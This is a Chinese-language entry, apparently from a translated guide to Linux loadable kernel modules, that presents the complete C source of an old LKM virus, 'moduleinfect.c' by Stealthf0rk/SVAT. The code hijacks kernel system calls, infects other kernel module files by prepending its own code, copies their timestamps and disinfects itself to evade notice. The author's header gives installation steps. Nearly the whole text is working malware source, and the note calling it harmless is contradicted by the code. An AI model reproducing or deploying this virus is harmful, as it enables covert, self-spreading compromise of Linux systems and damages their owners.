LKM Infector
名字 : moduleinfect.c
作者 : Stealthf0rk/SVAT
描述 : 这是第一个发布的LKM传染者,我们在2.8讨论过了。这个LKM没有破坏的代码,他仅仅是一个传染者。因此实验是没有危险的。
链接 : http://www.rootshell.com
/* SVAT - Special Virii And Trojans - present:
*
* -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
*
* 0kay guys, here we go...
* As i told you with VLP I (we try to write an fast-infector)
* here's the result:
* a full, non-overwriting module infector that catches
* lkm's due to create_module() and infects them (max. 7)
* if someone calls delete_module() [even on autoclean].
* Linux is not longer a virii-secure system :(
* and BSD follows next week ...
* Since it is not needed 2 get root (by the module) you should pay
* attention on liane.
* Note the asm code in function init_module().
* U should assemble your /usr/src/.../module.c with -S and your CFLAG
* from your Makefile and look for the returnvalue from the first call
* of find_module() in sys_init_module(). look where its stored (%ebp
for me)
* and change it in __asm__ init_module()! (but may it is not needed)
*
* For education only!
* Run it only with permisson of the owner of the system you are logged
on!!!
*
* !!! YOU USE THIS AT YOUR OWN RISK !!!
*
* I'm not responsible for any damage you may get due to playing around
with this.
*
* okay guys, you have to find out some steps without my help:
*
* 1. $ cc -c -O2 module.c
* 2. get length of module.o and patch the #define MODLEN in module.c
* 3. $ ???
* 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
* 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
* >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
* 6. $ insmod ???
*
* This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
* kernel 2.0.33. It works.
*
* greets (in no order...)
* <><><><><><><><><><><><>
*
* NetW0rker - tkx for da sources
* Serialkiller - gib mir mal deine eMail-addy
* hyperSlash - 1st SVAT member, he ?
* naleZ - hehehe
* MadMan - NetW0rker wanted me to greet u !?
* KilJaeden - TurboDebugger and SoftIce are a good choice !
*
* and all de otherz
*
* Stealthf0rk/SVAT <stealth@cyberspace.org>
*/
#define __KERNEL__
#define MODULE
#define MODLEN 7104
#define ENOUGH 7
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM set_fs(old_fs);}
/* i'm not sure we need all of 'em ...*/
#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>
#define __NR_our_syscall 211
#define MAXPATH 30
/*#define DEBUG*/
#ifdef DEBUG
#define DPRINTK(format, args...) printk(KERN_INFO format,##args)
#else
#define DPRINTK(format, args...)
#endif
/* where the sys_calls are */
extern void *sys_call_table[];
/* tested only with kernel 2.0.33, but thiz should run under 2.x.x
* if you change the default_path[] values
*/
static char *default_path[] = {
".", "/linux/modules",
"/lib/modules/2.0.33/fs",
"/lib/modules/2.0.33/net",
"/lib/modules/2.0.33/scsi",
"/lib/modules/2.0.33/block",
"/lib/modules/2.0.33/cdrom",
"/lib/modules/2.0.33/ipv4",
"/lib/modules/2.0.33/misc",
"/lib/modules/default/fs",
"/lib/modules/default/net",
"/lib/modules/default/scsi",
"/lib/modules/default/block",
"/lib/modules/default/cdrom",
"/lib/modules/default/ipv4",
"/lib/modules/default/misc",
"/lib/modules/fs",
"/lib/modules/net",
"/lib/modules/scsi",
"/lib/modules/block",
"/lib/modules/cdrom",
"/lib/modules/ipv4",
"/lib/modules/misc",
0
};
static struct symbol_table my_symtab = {
#include <linux/symtab_begin.h>
X(printk),
X(vmalloc),
X(vfree),
X(kerneld_send),
X(current_set),
X(sys_call_table),
X(register_symtab_from),
#include <linux/symtab_end.h>
};
char files2infect[7][60 + 2];
/* const char kernel_version[] = UTS_RELEASE; */
int (*old_create_module)(char*, int);
int (*old_delete_module)(char *);
int (*open)(char *, int, int);
int (*close)(int);
int (*unlink)(char*);
int our_syscall(int);
int infectfile(char *);
int is_infected(char *);
int cp(struct file*, struct file*);
int writeVir(char *, char *);
int init_module2(struct module*);
char *get_mod_name(char*);
/* needed to be global */
void *VirCode = NULL;
/* install new syscall to see if we are already in kmem */
int our_syscall(int mn)
{
/* magic number: 40hex :-) */
if (mn == 0x40)
return 0;
else
return -ENOSYS;
}
int new_create_module(char *name, int size)
{
int i = 0, j = 0, retval = 0;
if ((retval = old_create_module(name, size)) < 0)
return retval;
/* find next free place */
for (i = 0; files2infect[i][0] && i < 7; i++);
if (i == 6)
return retval;
/* get name of mod from user-space */
while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 &&
j < 60)
j++;
DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
return retval;
}
/* we infect modules after sys_delete_module, to be sure
* we don't confuse the kernel
*/
int new_delete_module(char *modname)
{
static int infected = 0;
int retval = 0, i = 0;
char *s = NULL, *name = NULL;
retval = old_delete_module(modname);
if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
return retval;
for (i = 0; files2infect[i][0] && i < 7; i++) {
strcat(files2infect[i], ".o");
if ((s = get_mod_name(files2infect[i])) == NULL) {
return retval;
}
name = strcpy(name, s);
if (!is_infected(name)) {
DPRINTK("try 2 infect %s as #%d\n", name, i);
infected++;
infectfile(name);
}
memset(files2infect[i], 0, 60 + 2);
} /* for */
/* its enough */
if (infected >= ENOUGH)
cleanup_module();
vfree(name);
return retval;
}
/* lets take a look at sys_init_module(), that calls
* our init_module() compiled with
* CFLAG = ... -O2 -fomit-frame-pointer
* in C:
* ...
* if((mp = find_module(name)) == NULL)
* ...
*
* is in asm:
* ...
* call find_module
* movl %eax, %ebp
* ...
* note that there is no normal stack frame !!!
* thats the reason, why we find 'mp' (return from find_module) in %ebp
* BUT only when compiled with the fomit-frame-pointer option !!!
* with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
* you should find mp at -4(%ebp) .
* thiz is very bad hijacking of local vars and an own topic.
* I hope you do not get an seg. fault.
*/
__asm__
("
.align 16
.globl init_module
.type init_module,@function
init_module:
pushl %ebp /* ebp is a pointer to mp from sys_init_module() */
/* and the parameter for init_module2() */
call init_module2
popl %eax
xorl %eax, %eax /* all good */
ret /* and return */
.hype27:
.size init_module,.hype27-init_module
");
/* for the one with no -fomit-frame-pointer and no -O2 this should (!)
work:
*
* pushl %ebx
* movl %ebp, %ebx
* pushl -4(%ebx)
* call init_module2
* addl $4, %esp
* xorl %eax, %eax
* popl %ebx
* ret
*/
/*----------------------------------------------*/
int init_module2(struct module *mp)
{
char *s = NULL, *mod = NULL, *modname = NULL;
long state = 0;
mod = vmalloc(60 + 2);
modname = vmalloc(MAXPATH + 60 + 2);
if (!mod || !modname)
return -1;
strcpy(mod, mp->name);
strcat(mod, ".o");
MOD_INC_USE_COUNT;
DPRINTK("in init_module2: mod = %s\n", mod);
/* take also a look at phrack#52 ...*/
mp->name = "";
mp->ref = 0;
mp->size = 0;
/* thiz is our new main ,look for copys in kmem ! */
if (sys_call_table[__NR_our_syscall] == 0) {
old_delete_module = sys_call_table[__NR_delete_module];
old_create_module = sys_call_table[__NR_create_module];
sys_call_table[__NR_our_syscall] = (void*)our_syscall;
sys_call_table[__NR_delete_module] = (void*)new_delete_module;
sys_call_table[__NR_create_module] = (void*)new_create_module;
memset(files2infect, 0, (60 + 2)*7);
register_symtab(&my_symtab);
}
open = sys_call_table[__NR_open];
close = sys_call_table[__NR_close];
unlink = sys_call_table[__NR_unlink];
if ((s = get_mod_name(mod)) == NULL)
return -1;
modname = strcpy(modname, s);
load_real_mod(modname, mod);
vfree(mod);
vfree(modname);
return 0;
}
int cleanup_module()
{
sys_call_table[__NR_delete_module] = old_delete_module;
sys_call_table[__NR_create_module] = old_create_module;
sys_call_table[__NR_our_syscall] = NULL;
DPRINTK("in cleanup_module\n");
vfree(VirCode);
return 0;
}
/* returns 1 if infected;
* seek at position MODLEN + 1 and read out 3 bytes,
* if it is "ELF" it seems the file is already infected
*/
int is_infected(char *filename)
{
char det[4] = {0};
int fd = 0;
struct file *file;
DPRINTK("in is_infected: filename = %s\n", filename);
BEGIN_KMEM
fd = open(filename, O_RDONLY, 0);
END_KMEM
if (fd <= 0)
return -1;
if ((file = current->files->fd[fd]) == NULL)
return -2;
file->f_pos = MODLEN + 1;
DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
BEGIN_KMEM
file->f_op->read(file->f_inode, file, det, 3);
close(fd);
END_KMEM
DPRINTK("in is_infected: det = %s\n", det);
if (strcmp(det, "ELF") == 0)
return 1;
else
return 0;
}
/* copy the host-module to tmp, write VirCode to
* hostmodule, and append tmp.
* then delete tmp.
*/
int infectfile(char *filename)
{
char *tmp = "/tmp/t000";
int in = 0, out = 0;
struct file *file1, *file2;
BEGIN_KMEM
in = open(filename, O_RDONLY, 0640);
out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
END_KMEM
DPRINTK("in infectfile: in = %d out = %d\n", in, out);
if (in <= 0 || out <= 0)
return -1;
file1 = current->files->fd[in];
file2 = current->files->fd[out];
if (!file1 || !file2)
return -1;
/* save hostcode */
cp(file1, file2);
BEGIN_KMEM
file1->f_pos = 0;
file2->f_pos = 0;
/* write Vircode [from mem] */
DPRINTK("in infetcfile: filenanme = %s\n", filename);
file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
/* append hostcode */
cp(file2, file1);
close(in);
close(out);
unlink(tmp);
END_KMEM
return 0;
}
int disinfect(char *filename)
{
char *tmp = "/tmp/t000";
int in = 0, out = 0;
struct file *file1, *file2;
BEGIN_KMEM
in = open(filename, O_RDONLY, 0640);
out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
END_KMEM
DPRINTK("in disinfect: in = %d out = %d\n",in, out);
if (in <= 0 || out <= 0)
return -1;
file1 = current->files->fd[in];
file2 = current->files->fd[out];
if (!file1 || !file2)
return -1;
/* save hostcode */
cp(file1, file2);
BEGIN_KMEM
close(in);
DPRINTK("in disinfect: filename = %s\n", filename);
unlink(filename);
in = open(filename, O_RDWR|O_CREAT, 0640);
END_KMEM
if (in <= 0)
return -1;
file1 = current->files->fd[in];
if (!file1)
return -1;
file2->f_pos = MODLEN;
cp(file2, file1);
BEGIN_KMEM
close(in);
close(out);
unlink(tmp);
END_KMEM
return 0;
}
/* a simple copy routine, that expects the file struct pointer
* of the files to be copied.
* So its possible to append files due to copieng.
*/
int cp(struct file *file1, struct file *file2)
{
int in = 0, out = 0, r = 0;
char *buf;
if ((buf = (char*)vmalloc(10000)) == NULL)
return -1;
DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
BEGIN_KMEM
while ((r = file1->f_op->read(file1->f_inode, file1, buf,
10000)) > 0)
file2->f_op->write(file2->f_inode, file2, buf, r);
file2->f_inode->i_mode = file1->f_inode->i_mode;
file2->f_inode->i_atime = file1->f_inode->i_atime;
file2->f_inode->i_mtime = file1->f_inode->i_mtime;
file2->f_inode->i_ctime = file1->f_inode->i_ctime;
END_KMEM
vfree(buf);
return 0;
}
/* Is that simple: we disinfect the module [hide 'n seek]
* and send a request to kerneld to load
* the orig mod. N0 fuckin' parsing for symbols and headers
* is needed - cool.
*/
int load_real_mod(char *path_name, char *name)
{
int r = 0, i = 0;
struct file *file1, *file2;
int in = 0, out = 0;
DPRINTK("in load_real_mod name = %s\n", path_name);
if (VirCode)
vfree(VirCode);
VirCode = vmalloc(MODLEN);
if (!VirCode)
return -1;
BEGIN_KMEM
in = open(path_name, O_RDONLY, 0640);
END_KMEM
if (in <= 0)
return -1;
file1 = current->files->fd[in];
if (!file1)
return -1;
/* read Vircode [into mem] */
BEGIN_KMEM
file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
close(in);
END_KMEM
disinfect(path_name);
r = request_module(name);
DPRINTK("in load_real_mod: request_module = %d\n", r);
return 0;
}
char *get_mod_name(char *mod)
{
int fd = 0, i = 0;
static char* modname = NULL;
if (!modname)
modname = vmalloc(MAXPATH + 60 + 2);
if (!modname)
return NULL;
BEGIN_KMEM
for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL));
i++) {
memset(modname, 0, MAXPATH + 60 + 2);
modname = strcpy(modname, default_path[i]);
modname = strcat(modname, "/");
modname = strcat(modname, mod);
if ((fd = open(modname, O_RDONLY, 0640)) > 0)
break;
}
close(fd);
END_KMEM
if (!default_path[i])
return NULL;
return modname;
}
摘自《赛迪网》 pragmatic/THC,(版本1.0)/文